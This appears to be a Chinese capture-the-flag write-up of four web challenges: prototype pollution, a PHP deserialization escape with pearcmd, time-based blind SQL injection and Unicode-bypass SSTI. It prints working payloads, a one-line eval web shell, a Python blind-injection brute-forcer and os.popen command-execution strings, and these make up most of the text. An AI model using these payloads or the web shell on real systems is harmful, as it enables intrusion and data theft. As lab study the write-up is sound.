又被带飞了
WHOYOUARE
下载附件审计代码,一眼原型链污染题。ban了很多东西
const whileTypes = ['boolean', 'string', 'number', 'bigint', 'symbol', 'undefined'];
const merge = (target, source) => {
for (const key in source) {
if(!whileTypes.includes(typeof source[key]) && !whileTypes.includes(typeof target[key])){
if(key !== '__proto__'){
merge(target[key], source[key]);
}
}else{
target[key] = source[key];
}
}
}
4字符命令执行也限制很多,只能想办法污染 Object
。这里我当时还是对原型链污染了解的太少了,后面才了解道可以用 constructor
和 prototype
来绕过限制。
这里简单记录下
可以看到对象 a
的原型和 a
的构造方法的原型是一样的,都是 Object
。
数组对象的原型是 Array
,在往上是 Object
。
js 里的原型链说白了其实和其他语言里的继承是一样的。Object
里的东西在对应的实例会相应继承下来。
顺着上面的思路就能得到 __proto__
ban了但 prototype
能用, constructor
也能用。注意到 request.user.__proto__ === request.user.constructor.prototype
,都是 Object
。js中数组最后的原型也是 Object
,所以可以这样污染
{"user":"{\"command\":[\"-c\"],\"constructor\":{\"prototype\": {\"1\": \"cat /flag\"}}}"}
连续发两次即可拿到flag
flag {AHhsDYc4hLkxcp0DkJJmBtL5gv5gQiYr}
ezus
首先可以看到这一段源码
<?php
include 'tm.php'; // Next step in tm.php
if (preg_match('/tm\.php\/*$/i', $_SERVER['PHP_SELF']))
{
exit("no way!");
}
if (isset($_GET['source']))
{
$path = basename($_SERVER['PHP_SELF']);
if (!preg_match('/tm.php$/', $path) && !preg_match('/index.php$/', $path))
{
exit("nonono!");
}
highlight_file($path);
exit();
}
?>
<a href="index.php?source">source</a>
直接绕过就行
http://172.52.4.193/index.php/tm.php/�?source
得到tm.php源码
<?php
class UserAccount
{
protected $username;
protected $password;
public function __construct($username, $password)
{
$this->username = $username;
$this->password = $password;
}
}
function object_sleep($str)
{
$ob = str_replace(chr(0).'*'.chr(0), '@0@0@0@', $str);
return $ob;
}
function object_weakup($ob)
{
$r = str_replace('@0@0@0@', chr(0).'*'.chr(0), $ob);
return $r;
}
class order
{
public $f;
public $hint;
public function __construct($hint, $f)
{
$this->f = $f;
$this->hint = $hint;
}
public function __wakeup()
{
//something in hint.php
if ($this->hint != "pass" || $this->f != "pass") {
$this->hint = "pass";
$this->f = "pass";
}
}
public function __destruct()
{
if (filter_var($this->hint, FILTER_VALIDATE_URL))
{
$r = parse_url($this->hint);
if (!empty($this->f)) {
if (strpos($this->f, "try") !== false && strpos($this->f, "pass") !== false) {
@include($this->f . '.php');
} else {
die("try again!");
}
if (preg_match('/prankhub$/', $r['host'])) {
@$out = file_get_contents($this->hint);
echo "<br/>".$out;
} else {
die("<br/>error");
}
} else {
die("try it!");
}
}
else
{
echo "Invalid URL";
}
}
}
$username = $_POST['username'];
$password = $_POST['password'];
$user = serialize(new UserAccount($username, $password));
unserialize(object_weakup(object_sleep($user)))
?>
存在反序列化的逃逸,目的是用UserAccount类去触发order类payload:
username=%400%400%400%40%400%400%400%40%400%400%400%40%400%400%400%40%400%400%400%40%400%400%400%40%400%400%400%40&password=%22%3Bs%3A11%3A%22%00*%00password%22%3BO%3A5%3A%22order%22%3A3%3A%7Bs%3A1%3A%22f%22%3Bs%3A61%3A%22php%3A%2F%2Ffilter%2Ftrypass%2Fread%3Dconvert.base64-encode%2Fresource%3Dhint%22%3Bs%3A4%3A%22hint%22%3Bs%3A25%3A%220%3A%2F%2F172.52.4.86%2F%3Bprankhub%22%3B%7D%7D
读一下hint.php
<?php
echo "This is the wrong way";
$flag = "you can find it in /f1111444449999.txt";
?>
尝试一下pearcmd,发现还真有,那么就可以直接写马了payload:
POST /index.php?+config-create+/&/<?=eval($_POST[1])?>+3.php
username=%400%400%400%40%400%400%400%40%400%400%400%40%400%400%400%40%400%400%400%40%400%400%400%40%400%400%400%40&password=%22%3Bs%3A11%3A%22%00*%00password%22%3BO%3A5%3A%22order%22%3A3%3A%7Bs%3A1%3A%22f%22%3Bs%3A60%3A%22trypass%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fusr%2Flocal%2Flib%2Fphp%2Fpearcmd%22%3Bs%3A4%3A%22hint%22%3Bs%3A25%3A%220%3A%2F%2F172.52.4.86%2F%3Bprankhub%22%3B%7D%7D
getshell后读flag
(www-data:/var/www/html) $ cat /f1111444449999.txt
flag{sMGbQqN7RTQwS6L0j9f5nytW1wWBAkWJ}
popsql
纯sql注入绕过题,ban了很多测试发现username写死了只能是admin,password处存在注入
'or/**/if(1,benchmark(1000000000,1),1)#
有延时,可以用这个来时间盲注,但比较的运算符都被 ban 了,后面想了很久发现可以用整除的方法来判断,sql中 96 DIV ord('a')
结果为 0, 97 DIV ord('a')
结果为 1,可用来代替等号。利用 right
来截取字符串,配合 ord
打出取第一个字符 ascii 值的效果
查表
'or/**/if((97/**/div/**/ord(right((select/**/group_concat(table_name)/**/from/**/sys.schema_table_statistics_with_buffer),1))),benchmark(100000000,1),1)#
表名: users, Fl49ish3re但不知道字段名, union
和 join
都被ban了,没法无列名注入。注意到mysql可以查历史记录的。
select/**/group_concat(digest_text)/**/from/**/performance_schema.events_statements_summary_by_digest
select/**/group_concat(digest_text)/**/from/**/performance_schema.events_statements_history
select/**/group_concat(query)/**/from/**/sys.x$statement_analysis
都尝试跑下,跑了很久找到了列名 f1aG123 然后就爆破 fllag 即可
import requests
import time
burp0_url = "http://172.52.4.65:80/index.php"
burp0_headers = {"Cache-Control": "max-age=0", "Upgrade-Insecure-Requests": "1", "Origin": "http://172.52.4.65", "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", "Referer": "http://172.52.4.65/", "Accept-Encoding": "gzip, deflate", "Accept-Language": "zh-CN,zh;q=0.9", "Connection": "close"}
# dictList = "012456789ABCDEFGHIJKLMNOPQRSTUVWXYZ"
def burp():
password = ''
time0 = 0
num = 1
while True:
for i in range(32, 127):
time0 = time.time()
# select/**/group_concat(table_name)/**/from/**/sys.schema_table_statistics_with_buffer 查表
# 查历史记录 select/**/group_concat(digest_text)/**/from/**/performance_schema.events_statements_summary_by_digest
# select/**/group_concat(digest_text)/**/from/**/performance_schema.events_statements_history
# select/**/group_concat(query)/**/from/**/sys.x$statement_analysis
# select/**/f1aG123/**/from/**/Fl49ish3re
burp0_data = {"username": "admin", "password": f"'or/**/if(({i}/**/div/**/ord(right((select/**/group_concat(digest_text)/**/from/**/performance_schema.events_statements_history),{num}))),benchmark(100000000,1),1)#"}
r = requests.post(burp0_url, headers=burp0_headers, data=burp0_data, allow_redirects=False)
if time.time() - time0 > 0.5:
password += chr(i)
# print(r.text)
break
# print(chr(i))
print(password[::-1])
num += 1
if __name__ == '__main__':
burp()
没有人比我更懂py
发送 {{1*2}}
回显 2
,存在SSTI,但只能发送中文,不能出现英文字母,但可以有特殊字符。可以试试其他 Unicode 字符。在 Unicode字符百科网站上找到了 全形拉丁文小写字母
尝试发送发现最后解析成了正常的字母
所以可以利用这个 全形拉丁文小写字母 来构造payload
{{g.pop.__globals__.__builtins__['__import__']('os').popen('cat /*').read()}}
flag{divTsehRNaVAaUR1eamFeKs4mmX82Kid}